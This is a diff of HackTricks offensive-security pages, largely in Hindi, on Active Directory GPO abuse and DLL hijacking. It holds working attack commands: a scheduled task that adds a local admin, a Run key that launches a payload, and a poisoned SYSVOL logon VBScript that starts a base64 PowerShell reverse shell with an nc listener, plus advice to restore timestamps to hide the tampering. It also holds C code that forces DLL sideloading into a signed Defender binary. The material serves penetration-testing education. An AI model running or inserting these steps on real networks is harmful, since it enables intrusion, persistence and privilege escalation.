आप टूल [**GPOHound**](https://github.com/cogiceo/GPOHound) का उपयोग करके भी GPOs की सूची बना सकते हैं और उनमें समस्याएँ खोज सकते हैं।
|
||||||
|
|
||||||
### GPO का दुरुपयोग - New-GPOImmediateTask
|
### Abuse GPO - New-GPOImmediateTask
|
||||||
|
|
||||||
गलत कॉन्फ़िगर किए गए GPOs का दुरुपयोग कोड execute करने के लिए किया जा सकता है, उदाहरण के लिए एक immediate scheduled task बनाकर। इसका उपयोग प्रभावित मशीनों पर किसी उपयोगकर्ता को local administrators group में जोड़ने के लिए किया जा सकता है, जिससे privileges में काफी वृद्धि हो जाती है:
|
गलत कॉन्फ़िगर किए गए GPOs का दुरुपयोग कोड निष्पादित करने के लिए किया जा सकता है, उदाहरण के लिए एक immediate scheduled task बनाकर। इसे प्रभावित मशीनों पर किसी user को local administrators group में जोड़ने के लिए किया जा सकता है, जिससे privileges में काफी वृद्धि हो सकती है:
|
||||||
```bash
|
```bash
|
||||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||||
```
|
```
|
||||||
### GroupPolicy module - Abuse GPO
|
### GroupPolicy module - Abuse GPO
|
||||||
|
|
||||||
GroupPolicy module, यदि स्थापित है, नए GPOs बनाने और लिंक करने, और प्रभावित कंप्यूटरों पर backdoors निष्पादित करने के लिए preferences जैसे registry values सेट करने की अनुमति देता है। इस विधि के लिए GPO को अपडेट किया जाना और निष्पादन के लिए किसी उपयोगकर्ता का कंप्यूटर पर लॉग इन होना आवश्यक है:
|
GroupPolicy module, यदि इंस्टॉल है, तो यह नए GPOs बनाने और लिंक करने तथा प्रभावित कंप्यूटरों पर backdoors चलाने के लिए registry values जैसी preferences सेट करने की अनुमति देता है। इस तरीके में GPO को अपडेट करना और execution के लिए किसी user का कंप्यूटर पर log in करना आवश्यक है:
|
||||||
```bash
|
```bash
|
||||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||||
```
|
```
|
||||||
### SharpGPOAbuse - Abuse GPO
|
### SharpGPOAbuse - Abuse GPO
|
||||||
|
|
||||||
SharpGPOAbuse मौजूदा GPOs में टास्क जोड़कर या सेटिंग्स बदलकर नए GPOs बनाए बिना उनका दुरुपयोग करने का तरीका देता है। इस टूल के लिए परिवर्तन लागू करने से पहले मौजूदा GPOs को संशोधित करना या नए GPOs बनाने हेतु RSAT tools का उपयोग करना आवश्यक है:
|
SharpGPOAbuse मौजूदा GPOs का दुरुपयोग करने का एक तरीका प्रदान करता है जिससे आप नए GPOs बनाए बिना कार्य जोड़कर या सेटिंग्स संशोधित करके बदलाव कर सकते हैं। यह टूल परिवर्तन लागू करने से पहले मौजूदा GPOs में संशोधन करने या नए GPOs बनाने के लिए RSAT tools का उपयोग करने की आवश्यकता रखता है:
|
||||||
```bash
|
```bash
|
||||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||||
```
|
```
|
||||||
### पॉलिसी अपडेट जबरन लागू करें
|
### पॉलिसी को मजबूरन अपडेट करें
|
||||||
|
|
||||||
GPO अपडेट सामान्यतः लगभग हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज करने के लिए, विशेषकर किसी परिवर्तन को लागू करने के बाद, लक्षित कंप्यूटर पर `gpupdate /force` कमांड का उपयोग कर तुरंत पॉलिसी अपडेट को जबरन लागू किया जा सकता है। यह कमांड यह सुनिश्चित करता है कि GPOs में किए गए किसी भी परिवर्तन को अगले स्वचालित अपडेट चक्र का इंतज़ार किए बिना लागू कर दिया जाए।
|
GPO अपडेट सामान्यतः लगभग हर 90 मिनट में होते हैं। इस प्रक्रिया को तेज करने के लिए, खासकर किसी परिवर्तन को लागू करने के बाद, लक्ष्य कंप्यूटर पर `gpupdate /force` कमांड का उपयोग करके तुरंत पॉलिसी अपडेट मजबूर किया जा सकता है। यह कमांड सुनिश्चित करता है कि GPOs में किए गए किसी भी संशोधन को अगले स्वचालित अपडेट चक्र का इंतज़ार किए बिना लागू किया जाए।
|
||||||
|
|
||||||
### अंतर्निहित विवरण
|
### अंदर की जानकारी
|
||||||
|
|
||||||
किसी दिए गए GPO के Scheduled Tasks का निरीक्षण करने पर, जैसे कि `Misconfigured Policy`, `evilTask` जैसे टास्क्स के जुड़ने की पुष्टि की जा सकती है। ये टास्क्स स्क्रिप्ट्स या कमांड-लाइन टूल्स के माध्यम से बनाए जाते हैं जो सिस्टम व्यवहार बदलने या privileges बढ़ाने का लक्ष्य रखते हैं।
|
किसी दिए गए GPO के लिए Scheduled Tasks का निरीक्षण करने पर, जैसे कि `Misconfigured Policy`, `evilTask` जैसी टास्क्स के जोड़े जाने की पुष्टि की जा सकती है। ये टास्क्स स्क्रिप्ट्स या कमांड-लाइन टूल्स के माध्यम से बनाए जाते हैं जो सिस्टम व्यवहार बदलने या प्रिविलेज़ एस्केलेशन का लक्ष्य रखते हैं।
|
||||||
|
|
||||||
टास्क की संरचना, जो `New-GPOImmediateTask` द्वारा जनरेरेट की गई XML configuration file में दिखाई देती है, शेड्यूल किए गए टास्क के विशिष्ट विवरण—जिसमें निष्पादित किए जाने वाले कमांड और उसके triggers शामिल हैं—को रेखांकित करती है। यह फ़ाइल दिखाती है कि GPOs के भीतर scheduled tasks किस तरह परिभाषित और प्रबंधित होते हैं, और नीति लागू करने के हिस्से के रूप में किसी भी कमांड या स्क्रिप्ट को चलाने का एक तरीका प्रदान करती है।
|
टास्क की संरचना, जो `New-GPOImmediateTask` द्वारा जनरेट हुए XML configuration फ़ाइल में दिखाई जाती है, निर्धारित करती है कि शेड्यूल्ड टास्क के विशिष्ट विवरण क्या हैं — जिसमें निष्पादित किया जाने वाला कमांड और उसके triggers शामिल हैं। यह फ़ाइल दर्शाती है कि GPOs के भीतर शेड्यूल्ड टास्क कैसे परिभाषित और प्रबंधित होते हैं, और पॉलिसी लागू करने के हिस्से के रूप में arbitrary commands या scripts चलाने का एक तरीका प्रदान करती है।
|
||||||
|
|
||||||
### उपयोगकर्ता और समूह
|
### उपयोगकर्ता और समूह
|
||||||
|
|
||||||
GPOs लक्षित सिस्टम पर उपयोगकर्ता और समूह सदस्यताओं में हेरफेर की भी अनुमति देते हैं। Users and Groups नीति फ़ाइलों को सीधे संपादित करके, हमलावर विशेष उपयोगकर्ताओं को privileged समूहों में जोड़ सकते हैं, जैसे स्थानीय `administrators` समूह। यह GPO प्रबंधन अनुमतियों के delegation के माध्यम से संभव होता है, जो नीति फ़ाइलों में नए उपयोगकर्ताओं को शामिल करने या समूह सदस्यताओं को बदलने की अनुमति देता है।
|
GPOs लक्ष्य प्रणालियों पर उपयोगकर्ता और समूह सदस्यताओं में हेरफेर की अनुमति भी देती हैं। Users and Groups policy फ़ाइलों को सीधे एडिट करके, attackers privileged groups में उपयोगकर्ताओं को जोड़ सकते हैं, जैसे कि स्थानीय `administrators` समूह। यह GPO प्रबंधन अनुमतियों के delegation के माध्यम से संभव होता है, जो नीति फ़ाइलों में नए उपयोगकर्ताओं को शामिल करने या समूह सदस्यताओं को बदलने की अनुमति देता है।
|
||||||
|
|
||||||
Users and Groups के लिए XML configuration file दिखाती है कि ये परिवर्तन कैसे लागू किए जाते हैं। इस फ़ाइल में प्रविष्टियाँ जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित सिस्टम्स पर उच्च अधिकार दिए जा सकते हैं। यह विधि GPO हेरफेर के माध्यम से सीधे privilege escalation का एक तरीका प्रदान करती है।
|
Users and Groups के XML configuration फ़ाइल में बताया गया है कि ये परिवर्तन कैसे लागू किए जाते हैं। इस फ़ाइल में एंट्रीज जोड़कर, विशिष्ट उपयोगकर्ताओं को प्रभावित सिस्टम्स में उच्च अधिकार दिए जा सकते हैं। यह पद्धति GPO हेरफेर के माध्यम से सीधे privilege escalation का एक रास्ता प्रदान करती है।
|
||||||
|
|
||||||
इसके अतिरिक्त, कोड निष्पादित करने या स्थायी पहुँच बनाए रखने के अन्य तरीके भी विचार किए जा सकते हैं—जैसे logon/logoff स्क्रिप्ट्स का उपयोग, autoruns के लिए registry keys में परिवर्तन, .msi फाइलों के माध्यम से सॉफ़्टवेयर इंस्टॉल करना, या service configurations को एडिट करना। ये तकनीकें GPOs के दुरुपयोग के जरिए पहुंच बनाए रखने और लक्षित सिस्टम्स को नियंत्रित करने के विभिन्न मार्ग प्रदान करती हैं।
|
इसके अलावा, कोड निष्पादन या persistence बनाए रखने के लिए अतिरिक्त तरीके भी विचार किए जा सकते हैं, जैसे कि logon/logoff scripts का उपयोग करना, autoruns के लिए registry keys को बदलना, .msi फाइलों के माध्यम से सॉफ़्टवेयर इंस्टॉल करना, या service configurations को संपादित करना। ये तकनीकें GPOs के दुरुपयोग के जरिए पहुँच बनाए रखने और लक्ष्य प्रणालियों को नियंत्रित करने के विभिन्न रास्ते प्रदान करती हैं।
|
||||||
|
|
||||||
## References
|
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||||
|
|
||||||
|
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||||
|
|
||||||
|
### Locate logon scripts
|
||||||
|
- Inspect user attributes for a configured logon script:
|
||||||
|
```powershell
|
||||||
|
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||||
|
```
|
||||||
|
- डोमेन शेयरों को क्रॉल करके शॉर्टकट या scripts के संदर्भ उजागर करें:
|
||||||
|
```bash
|
||||||
|
# NetExec spider (authenticated)
|
||||||
|
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||||
|
```
|
||||||
|
- `.lnk` फ़ाइलों को पार्स करके उन targets का पता लगाएँ जो SYSVOL/NETLOGON की ओर इशारा करते हैं (DFIR के लिए उपयोगी ट्रिक और उन attackers के लिए जिनके पास सीधे GPO access नहीं है):
|
||||||
|
```bash
|
||||||
|
# LnkParse3
|
||||||
|
lnkparse login.vbs.lnk
|
||||||
|
# Example target revealed:
|
||||||
|
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||||
|
```
|
||||||
|
- BloodHound उपस्थित होने पर उपयोगकर्ता नोड्स पर `logonScript` (scriptPath) attribute दिखाता है।
|
||||||
|
|
||||||
|
### लेखन पहुँच सत्यापित करें (शेयर लिस्टिंग्स पर भरोसा न करें)
|
||||||
|
ऑटोमेटेड टूलिंग SYSVOL/NETLOGON को read-only दिखा सकती है, लेकिन अंतर्निहित NTFS ACLs फिर भी लिखने की अनुमति दे सकते हैं। हमेशा जाँचें:
|
||||||
|
```bash
|
||||||
|
# Interactive write test
|
||||||
|
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||||
|
smb: \\> cd <domain>\scripts\
|
||||||
|
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||||
|
```
|
||||||
|
यदि फ़ाइल का आकार या mtime बदलता है, तो आपके पास write अनुमति है। संशोधित करने से पहले मूल फ़ाइलों को सुरक्षित रखें।
|
||||||
|
|
||||||
|
### Poison a VBScript logon script for RCE
|
||||||
|
एक ऐसा कमांड जोड़ें जो PowerShell reverse shell लॉन्च करे (generate from revshells.com) और बिज़नेस फ़ंक्शन को तोड़े बिना मूल लॉजिक को बनाए रखें:
|
||||||
|
```vb
|
||||||
|
' At top of login.vbs
|
||||||
|
Set cmdshell = CreateObject("Wscript.Shell")
|
||||||
|
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||||
|
|
||||||
|
' Existing mappings remain
|
||||||
|
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||||
|
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||||
|
```
|
||||||
|
अपने होस्ट पर सुनें और अगले इंटरैक्टिव लॉगऑन का इंतज़ार करें:
|
||||||
|
```bash
|
||||||
|
rlwrap -cAr nc -lnvp 443
|
||||||
|
```
|
||||||
|
नोट्स:
|
||||||
|
- निष्पादन लॉग्ड-इन उपयोगकर्ता के token (not SYSTEM) के अंतर्गत होता है। स्कोप उस GPO लिंक (OU, site, domain) का है जो उस script को लागू कर रहा है।
|
||||||
|
- उपयोग के बाद मूल सामग्री/टाइमस्टैम्प्स को पुनर्स्थापित करके साफ़ करें।
|
||||||
|
|
||||||
|
## संदर्भ
|
||||||
|
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||||
@ -187,5 +282,9 @@ Users and Groups के लिए XML configuration file दिखाती ह
|
|||||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||||
|
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||||
|
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||||
|
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||||
|
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,320 +0,0 @@
|
|||||||
# Dll Hijacking
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## मूल जानकारी
|
|
||||||
|
|
||||||
DLL Hijacking में एक विश्वसनीय एप्लिकेशन को मैलिशियस DLL लोड करने के लिए हेरफेर करना शामिल होता है। यह शब्द कई रणनीतियों को समाहित करता है जैसे **DLL Spoofing, Injection, and Side-Loading**। यह मुख्यतः code execution, persistence हासिल करने और कम सामान्यतः privilege escalation के लिए उपयोग होता है। हालांकि यहाँ जोर escalation पर है, hijacking की विधि लक्ष्यों के बीच समान रहती है।
|
|
||||||
|
|
||||||
### सामान्य तकनीकें
|
|
||||||
|
|
||||||
DLL hijacking के लिए कई तरीके उपयोग में लाए जाते हैं, और इनकी प्रभावशीलता एप्लिकेशन की DLL लोडिंग रणनीति पर निर्भर करती है:
|
|
||||||
|
|
||||||
1. **DLL Replacement**: एक वास्तविक DLL को मैलिशियस DLL से बदलना, वैकल्पिक रूप से मूल DLL की कार्यक्षमता बनाए रखने के लिए DLL Proxying का उपयोग।
|
|
||||||
2. **DLL Search Order Hijacking**: मैलिशियस DLL को वैध DLL से पहले किसी सर्च पथ में रखना, एप्लिकेशन के सर्च पैटर्न का फायदा उठाकर।
|
|
||||||
3. **Phantom DLL Hijacking**: ऐसी मैलिशियस DLL बनाना जिसे एप्लिकेशन लोड कर ले, यह मानकर कि यह आवश्यक DLL मौजूद नहीं था।
|
|
||||||
4. **DLL Redirection**: %PATH% या .exe.manifest / .exe.local जैसी सर्च पैरामीटरों को बदलकर एप्लिकेशन को मैलिशियस DLL की ओर निर्देशित करना।
|
|
||||||
5. **WinSxS DLL Replacement**: WinSxS डायरेक्टरी में वैध DLL को मैलिशियस कॉन्ट्रापार्ट से बदलना, जो अक्सर DLL side-loading से जुड़ा होता है।
|
|
||||||
6. **Relative Path DLL Hijacking**: कॉपी किए गए एप्लिकेशन के साथ उपयोगकर्ता-नियंत्रित डायरेक्टरी में मैलिशियस DLL रखना, जो Binary Proxy Execution तकनीकों जैसा होता है।
|
|
||||||
|
|
||||||
## गायब DLLs खोजना
|
|
||||||
|
|
||||||
सिस्टम के अंदर missing Dlls खोजने का सबसे सामान्य तरीका sysinternals का [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) चलाना है और **निम्न 2 फिल्टर** सेट करना:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
और केवल **File System Activity** दिखाना:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
यदि आप सामान्य रूप से **missing dlls** ढूंढ रहे हैं तो इसे कुछ **सेकंड** के लिए चलने दें.\
|
|
||||||
यदि आप किसी विशेष executable के अंदर **missing dll** खोज रहे हैं तो आपको **दूसरा फिल्टर जैसे "Process Name" "contains" "\<exec name>"** सेट करना चाहिए, उसे execute करें और events को capture करना बंद कर दें।
|
|
||||||
|
|
||||||
## Exploiting Missing Dlls
|
|
||||||
|
|
||||||
privileges escalate करने के लिए, सबसे अच्छी संभावना यह है कि हम किसी ऐसे स्थान पर एक DLL लिख सकें जिसे एक privileged process लोड करने की कोशिश करेगा। इसलिए, हम किसी ऐसे **फ़ोल्डर** में **dll लिख** पाएंगे जहाँ उस **dll** की तलाश उस फ़ोल्डर से पहले की जाएगी जहाँ **original dll** है (अजीब केस), या हम किसी ऐसे फ़ोल्डर में लिख पाएंगे जहाँ उस dll को खोजा जाएगा और मूल **dll किसी भी फ़ोल्डर में मौजूद नहीं** होगा।
|
|
||||||
|
|
||||||
### Dll Search Order
|
|
||||||
|
|
||||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
|
||||||
|
|
||||||
Windows applications DLLs को एक पूर्व-निर्धारित सर्च पथ अनुक्रम का पालन करके खोजते हैं। DLL hijacking तब उत्पन्न होता है जब एक मैलिशियस DLL को रणनीतिक रूप से ऐसे डायरेक्टरी में रखा जाता है कि वह असली DLL से पहले लोड हो जाए। इसे रोकने के लिए समाधान यह है कि एप्लिकेशन जब आवश्यक DLLs का संदर्भ दे तो absolute paths का उपयोग करे।
|
|
||||||
|
|
||||||
आप 32-bit सिस्टम पर DLL search order नीचे देख सकते हैं:
|
|
||||||
|
|
||||||
1. The directory from which the application loaded.
|
|
||||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
|
||||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
|
||||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
|
||||||
1. (_C:\Windows_)
|
|
||||||
5. The current directory.
|
|
||||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
|
||||||
|
|
||||||
यह SafeDllSearchMode सक्षम होने पर डिफ़ॉल्ट सर्च क्रम है। जब यह अक्षम होता है तो current directory दूसरी जगह पर आ जाता है। इस फीचर को अक्षम करने के लिए **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value बनाकर इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)।
|
|
||||||
|
|
||||||
यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन को **LOAD_WITH_ALTERED_SEARCH_PATH** के साथ कॉल किया जाता है तो सर्च उस executable मॉड्यूल की डायरेक्टरी से शुरू होती है जिसे **LoadLibraryEx** लोड कर रहा है।
|
|
||||||
|
|
||||||
अंत में, ध्यान दें कि **कभी-कभी dll को केवल नाम के बजाय absolute path बताकर लोड किया जा सकता है**। ऐसे मामले में वह dll केवल उसी path में ही खोजा जाएगा (यदि उस dll के कोई dependencies हैं, तो उन्हें नाम से लोड होने पर सामान्य रूप से खोजा जाएगा)।
|
|
||||||
|
|
||||||
सर्च ऑर्डर बदलने के अन्य तरीके भी हैं लेकिन उन्हें मैं यहाँ विस्तार से नहीं समझा रहा हूँ।
|
|
||||||
|
|
||||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
|
||||||
|
|
||||||
एक उन्नत तरीका जिससे नए बनाए गए प्रोसेस के DLL सर्च पथ को निर्धारित रूप से प्रभावित किया जा सकता है वह है ntdll की native APIs के साथ process बनाते समय RTL_USER_PROCESS_PARAMETERS में DllPath फ़ील्ड सेट करना। यहाँ एक attacker-नियंत्रित डायरेक्टरी देने से, यदि लक्ष्य प्रोसेस किसी DLL को नाम से resolve करता है (absolute path नहीं और safe loading flags का उपयोग नहीं हो रहा), तो उसे उस डायरेक्टरी से मैलिशियस DLL लोड करने के लिए मजबूर किया जा सकता है।
|
|
||||||
|
|
||||||
Key idea
|
|
||||||
- RtlCreateProcessParametersEx के साथ process parameters बनाएं और एक custom DllPath प्रदान करें जो आपके नियंत्रित फ़ोल्डर की ओर इशारा करता हो (उदा., जहाँ आपका dropper/unpacker रहता है)।
|
|
||||||
- RtlCreateUserProcess के साथ प्रक्रिया बनाएं। जब लक्ष्य बाइनरी किसी DLL को नाम से resolve करेगा, तो loader इस प्रदान किए गए DllPath से सुलह करेगा, जिससे भरोसेमंद sideloading संभव हो जाती है भले ही मैलिशियस DLL target EXE के साथ colocated न हो।
|
|
||||||
|
|
||||||
Notes/limitations
|
|
||||||
- यह केवल बन रहे child process को प्रभावित करता है; यह SetDllDirectory से अलग है जो केवल current process को प्रभावित करता है।
|
|
||||||
- लक्ष्य को किसी DLL को नाम से import या LoadLibrary करना चाहिए (absolute path नहीं और LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories का उपयोग नहीं होना चाहिए)।
|
|
||||||
- KnownDLLs और हार्डकोडेड absolute paths hijack नहीं किए जा सकते। Forwarded exports और SxS precedence बदल सकते हैं।
|
|
||||||
|
|
||||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
|
||||||
```c
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#pragma comment(lib, "ntdll.lib")
|
|
||||||
|
|
||||||
// Prototype (not in winternl.h in older SDKs)
|
|
||||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
|
||||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
|
||||||
PUNICODE_STRING ImagePathName,
|
|
||||||
PUNICODE_STRING DllPath,
|
|
||||||
PUNICODE_STRING CurrentDirectory,
|
|
||||||
PUNICODE_STRING CommandLine,
|
|
||||||
PVOID Environment,
|
|
||||||
PUNICODE_STRING WindowTitle,
|
|
||||||
PUNICODE_STRING DesktopInfo,
|
|
||||||
PUNICODE_STRING ShellInfo,
|
|
||||||
PUNICODE_STRING RuntimeData,
|
|
||||||
ULONG Flags
|
|
||||||
);
|
|
||||||
|
|
||||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
|
||||||
PUNICODE_STRING NtImagePathName,
|
|
||||||
ULONG Attributes,
|
|
||||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
|
||||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
|
||||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
|
||||||
HANDLE ParentProcess,
|
|
||||||
BOOLEAN InheritHandles,
|
|
||||||
HANDLE DebugPort,
|
|
||||||
HANDLE ExceptionPort,
|
|
||||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
|
||||||
);
|
|
||||||
|
|
||||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
|
||||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
|
||||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
|
||||||
}
|
|
||||||
|
|
||||||
int wmain(void) {
|
|
||||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
|
||||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
|
||||||
|
|
||||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
|
||||||
wchar_t dllDir[MAX_PATH];
|
|
||||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
|
||||||
|
|
||||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
|
||||||
RtlInitUnicodeString(&uImage, image);
|
|
||||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
|
||||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
|
||||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
|
||||||
|
|
||||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
|
||||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
|
||||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
|
||||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
|
||||||
|
|
||||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
|
||||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
|
||||||
NULL, NULL, NULL, NULL, NULL, 0);
|
|
||||||
if (st < 0) return 1;
|
|
||||||
|
|
||||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
|
||||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
|
||||||
if (st < 0) return 1;
|
|
||||||
|
|
||||||
// Resume main thread etc. if created suspended (not shown here)
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
संचालनात्मक उपयोग का उदाहरण
|
|
||||||
